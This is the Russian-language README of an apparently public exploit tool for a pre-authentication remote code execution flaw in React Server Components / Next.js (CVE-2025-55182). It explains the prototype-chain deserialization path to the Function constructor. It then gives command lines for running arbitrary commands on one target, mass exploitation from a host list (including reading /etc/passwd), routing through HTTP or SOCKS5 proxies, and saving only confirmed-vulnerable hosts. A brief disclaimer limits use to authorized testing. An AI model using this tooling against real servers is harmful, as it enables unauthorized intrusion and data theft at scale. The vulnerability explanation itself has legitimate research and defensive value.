CVE-2025-55182 - React2Shell

React Server Components / Next.js Предварительная аутентификация Удаленное выполнение кода

Затронутые версии

Принцип уязвимости

Эта уязвимость использует недостаток десериализации в протоколе Flight React Server Components (RSC). Путем создания вредоносного multipart/form-data запроса достигается неавторизованное удаленное выполнение кода. Полная цепочка эксплуатации:

1. Через POST multipart/form-data с заголовком Next-Action инициируется путь Server Action
2. Chunk "0" содержит специально сконструированный JSON-объект (не обернутый в массив), $1:__proto__:then обращается к Chunk.prototype.then на объекте Chunk 1 в состоянии PENDING, делая его thenable
3. $1:constructor:constructor через цепочку прототипов разрешается в конструктор Function
4. Chunk.prototype.then вызывает initializeModelChunk, который анализирует поле value — '{"then":"$B0"}'
5. Blob $B0 вызывает _formData.get(_prefix + "0"), то есть Function(code + "0")

Установка зависимостей

pip install requests[socks]

При отсутствии зависимостей скрипт автоматически попытается установить requests и PySocks.

Использование

RCE на одну цель

python CVE-2025-55182.py -u http://target:3000 -c "id"

Массовая эксплуатация

python CVE-2025-55182.py -f targets.txt -c "cat /etc/passwd" -o results.txt

Только проверка уязвимости (без выполнения команд)

python CVE-2025-55182.py -u http://target:3000 --check
python CVE-2025-55182.py -f targets.txt --check -o vuln_hosts.txt

Использование прокси

# HTTP прокси
python CVE-2025-55182.py -u http://target:3000 -c "whoami" --proxy http://127.0.0.1:8080

# SOCKS5 прокси
python CVE-2025-55182.py -f targets.txt -c "id" --proxy socks5://127.0.0.1:1080

Режим отладки

python CVE-2025-55182.py -u http://target:3000 -c "id" -v

Полное описание параметров

Пояснение вывода

• VULN — Цель уязвима, успешно получен результат выполнения команды
• MAYBE — Возможно уязвима (например, истекло время чтения)
• ERR — Ошибка подключения
• SAFE — Уязвимость не обнаружена

Результаты массового сканирования записываются в файл, указанный в -o, сохраняются только цели с подтвержденной уязвимостью.

Пример формата targets.txt

http://192.168.1.10:3000
https://app.example.com
http://10.0.0.5:3000/dashboard
# Строки с комментариями игнорируются

Отказ от ответственности

Данный инструмент предназначен только для авторизованного тестирования безопасности и исследовательских целей. Пользователь должен убедиться, что у него есть явное разрешение владельца целевой системы. Несанкционированное проведение пентестов является незаконным, и пользователь несет полную юридическую ответственность.